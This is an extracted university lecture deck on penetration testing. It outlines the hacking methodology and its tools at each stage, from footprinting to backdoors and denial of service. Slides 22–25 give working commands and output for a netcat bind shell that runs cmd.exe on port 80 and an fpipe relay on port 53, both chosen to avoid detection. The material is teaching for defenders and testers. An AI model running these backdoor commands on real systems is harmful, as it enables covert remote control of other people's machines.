Penetration Testing

advertisement
Penetrate Testing
C. Edward Chow
cs591
1
chow
Outline of The Talk









Definition, Concepts on Penetration Testing/Hacking
Anatomy of a Hack
Framework for penetration studies
Skills and Requirements of a Penetration Tester
SAN list of Security Holes
Internet Penetration
Dial up Penetration
Internal Penetration
References:
 CORE IMPACT - Penetration Testing: Assessing Your Overall
Security Before Attackers Do
 Pages 165,277 Security in Computing.
 Hack I.T, Security Through Penetration Testing, by T.J.
Klevinksy, Scott Laliberte, Ajay Gupta.
 http://www.hackingexposed.com/win2k/links.html
cs591
2
chow
Definition








Vulnerability (Security Flaw): specific failure of the system to guard against
unauthorized access or actions. It can be procedures, technology (SW or
HW), or management.
Using the failure of the system to violate the site security policy is called
exploiting the vulnerability
Penetration Study is a test for evaluating the strengths of all security
controls on the computer system. It intends to find all possible security
holes and provides suggestions for fixing them.
Penetration Testing is an authorized attempt to violate specific constraints
stated in the form of a security or integrity policy.
Penetration Testing is a testing technique for discovering, understanding,
and documenting all the security holes that can be found in a system.
It is not a proof techniques. It can never prove the absence of security
flaws. It can only prove their presence.
Example goals of penetration studies are gaining of read or write access to
specific objects, files, or accounts; gaining of specific privileges; and
disruption or denial of the availability of objects.
What is the difference between penetration testing and hacking/intrusion?
cs591
3
chow
More Thorough Penetration Study



A more thorough penetration study is to find the proper
interpretation of vulnerabilities found, draw conclusion
on the care taken in the design and implementation.
A simple list of vulnerabilities , although helpful in
closing those specific holes, contribute far less to the
security of a system.
In practice, constrains (resource, money, time) affect the
penetration study
cs591
4
chow
Hacking
Methodology
(Steps)

An excellent
description
inside of the
back cover
page of
“Hacking
Exposed”
text by
McClure et
al.
cs591
Footprinting
Scanning
whois, nslookup
Nmap, fping
Enumeration
dumpACL, showmount
legion, rpcinfo
Gaining Access
Tcpdump, Lophtcrack
NAT
Escalating Privilege
Johntheripper, getadmin
Pilferting
Rhosts, userdata
Config files, registry
Covering Tracks
zap, rootkits
Creating Back Doors
Cron,at, startup folder
netcat, keystroke logger
remote desktop
Denial of Service
Synk4, ping of death
tfn/stacheldraht
5
chow
Footprinting







Information gathering. Sam Spade is window-based network query tool.
Find out target IP address/phone number range
 Why check phone numbers?
Namespace acquisition. Network Topology (visualRoute).
It is essential to a “surgical” attack.
The key here is not to miss any details.
Note that for penetration tester, this step is to avoiding testing others
instead of your client and to include all systems to be tested (sometime the
organization will not tell you what their systems consist of).
Defense: deploy NIDS (snort), RotoRouter
Techniques Open Source
search
Find domain name, DNS zone
admin, IP addresses transfer
name servers
Tools
Whois
(Network solution;
arin)
cs591
Google, search
engine, Edgar
6
Nslookup (ls –d)
dig
Sam Spade
chow
Scanning





Bulk Target assessment
Which machine is up and what ports (services) are open
Focus on most promising avenues of entry.
To avoid being detect, these tools can reduce frequency of packet
sending and randomize the ports or IP addresses to be scanned in
the sequence.
Note that some machine does not respond to ping but responds to
requests to ports that actually open. Ardor is an example.
Techniques Ping sweep
TCP/UDP port
scan
OS detection
Tools
Nmap
Superscan
fscan
Nmap
queso
siphon
cs591
Fping, icmpenum
WS_Ping ProPack
nmap
7
chow
Enumeration


Identify valid user accounts or poorly protected resource shares.
Most intrusive probing than scanning step.
cs591
Techniques
list user
accounts
list file shares
identify
applications
Tools
Null sessions
DumpACL
Sid2usre
onSiteAdmin
Showmount
NAT
legion
Banner grabing
with telnet or
netcat, rpcinfo
8
chow
Gaining Access

Based on the information gathered so far, make an informed
attempted to access the target.
Techniq
ues
Password
File share
eavesdropping brute forcing
Password
File grab
Tools
Tcpdump/ssldu NAT
mp
legion
L0phtcrack
readsmb
Tftp
Ttdb, bind
Pwddump2(NT) IIS
.HTR/ISM.
DLL
cs591
9
Buffer
overflow
chow
Escalating Privilege

If only user-level access was obtained in the last step, seek to
gain complete control of the system.
cs591
Techniques
Password cracking
Known Exploits
Tools
John the ripper
L0phtcrack
Lc_messages,
Getadmin,
sechole
10
chow
Pilfering

Webster's Revised Unabridged Dictionary (1913)
 Pilfer \Pil"fer\, v. i. [imp. & p. p. Pilfered; p. pr. & vb. n. Pilfering.] [OF.
pelfrer. See Pelf.]
To steal in small quantities, or articles of small value; to practice petty
theft.
 Gather info on identify mechanisms to allow access of trusted systems.
Techniques
Evaluate Trusts
Search for cleartext
passwords
Tools
rhosts
LSA secrets
User data,
Configuration files
Registry
cs591
11
chow
Covering Tracks

Once total ownership of the target is secured, hiding this fact from
system administrators become paramount, less they quickly end
the romp.
Techniques
Clear Logs
Tools
Zap, Event Log GUI Rootkits
file streaming
cs591
12
Hide tools
chow
Creating Back Doors

Trap doors will be laid in various parts of the system to ensure that
privilege access is easily regained whenever the intruder decides.
Techniques Create rogue
user accounts
Schedule batch
jobs
Infect startup files
Tools
Cron, AT
rc, startup folder,
registry keys
Members of
wheel, admin
Techniques Plant remote
Install monitoring
control services mechanisms
Replace appls with
Trojans
Tools
Login, fpnwcint.dll
cs591
Netcat,
remote.exe
VNC, B02K
remote desktop
Keystroke loggers,
add acct. to
secadmin mail
aliases
13
chow
Denial of Services

If atacker is unsuccessful in gaining access, they may use readily
available exploit code to disable a target as a last resort.
Techniques Syn flood
ICMP techniques
Identical src/dst
SYN requests
Tools
Ping to death
smurf
Land
Latierra
Techniques Overlapping
fragment/offset
bugs
Out of bounds TCP
options (OOB)
DDoS
Tools
Keystroke loggers,
add acct. to
secadmin mail
aliases
Trinoo
TFN
stacheldraht
cs591
synk4
Netcat,
remote.exe
VNC, B02K
remote desktop
14
chow
Nessus: Integrated Security Scanning
Tool






Originally designed by Renaud Deraison
Available at www.nessus.org
Main scanning engine running on Unix server with client
GUI running on Unix or Windows.
Pretty good control and reporting.
Include a script language for plug-in (detecting
additional attacks).
http://www.nessus.org/pres/bh2001/index.html
cs591
15
chow
cs591
16
chow
cs591
17
chow
cs591
18
chow
cs591
19
chow
cs591
20
chow
cs591
21
chow
Setting up Backdoor Connection





Once obtain the admin privilege, you install tools that
allow you to run command remotely (e.g. netcat) or use
the machine as a stepping stone for relaying or
redirecting the msg (fpipe)
Port redirection accepts packet from one port and send
it over another port. It can be used to avoid packet filter
firewall.
We will use netcat and fpipe to illustrate the concept.
Netcat is available at
http://www.atstake.com/research/tools/network_utilities/
Fpipe is available at http://www.foundstone.com
cs591
22
chow
Setup Netcat
C:\work\cucs\cs522\project>c:\work\software\security\nc\nc -v -L -e
cmd.exe -p 80 -s 128.198.177.63
 Hacker runs the nc command on the victim machine, which listens
to the command sent in from port 80, use cmd.exe to run the
command and redirect the console output as http response back.
 listening on [128.198.177.63] 80 ...
 connect to [128.198.177.63] from VIVIAN.eas.uccs.edu listening on
[128.198.177.63] 80 ...
 connect to [128.198.177.63] from VIVIAN.eas.uccs.edu
 Here we bind in front of port 80. You can also use port 139. The
idea is used known port to avoid detection.
 -L is used to repeat previous command after connection is
terminated.
 The nc command will receive command from packet to port 80, and
chow
23
run it with cmd.exe and send back
execution result.
cs591

Setup FPIPE










C:\work\software\security\fpipe>fpipe -l 53 -s 53 -r 80 128.198.177.63
FPipe v2.1 - TCP/UDP port redirector.
This is run the infected machine which serves as relay. Use port 53 for
listen to Internet connection, relay any msg from port 53 to machine
with 128.198.177.63 and port 80.
Copyright 2000 (c) by Foundstone, Inc.
http://www.foundstone.com
Pipe connected:
In: 128.198.162.60:58797 --> 128.198.168.63:53
Out: 128.198.168.63:53 --> 128.198.177.63:80
Pipe connected:
In: 128.198.162.60:58801 --> 128.198.168.63:53
Out: 128.198.168.63:53 --> 128.198.177.63:80
Here the fpipe program listens to packet incoming from blanca to port
53, relay it over to 128.198.177.63
using port 53 (DNS) to avoid chow
24
cs591
detection.

Telnet to the relay host






C:\work\software\security\nc>[cs691@blanca cs691]$ telnet 128.198.168.63 53
Trying 128.198.168.63...
Connected to vivian (128.198.168.63).
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.




C:\work\cucs\cs522\project>dir
dir
Volume in drive C is S3A1203D501
Volume Serial Number is 503B-9F00

Directory of C:\work\cucs\cs522\project



04/29/2003 12:56 PM
04/29/2003 12:56 PM
04/29/2003 12:50 PM

Note that it is the console output of 128.198.177.63 machine being shown here.
cs591
<DIR>
.
<DIR>
..
371,208 erniestInfocom2000.ps
25
chow
Layering of Tests
1.
2.
3.
cs591
External attacker with no knowledge of the system.
External attacker with access to the system.
Internal attacker with access to the system.
26
chow
Download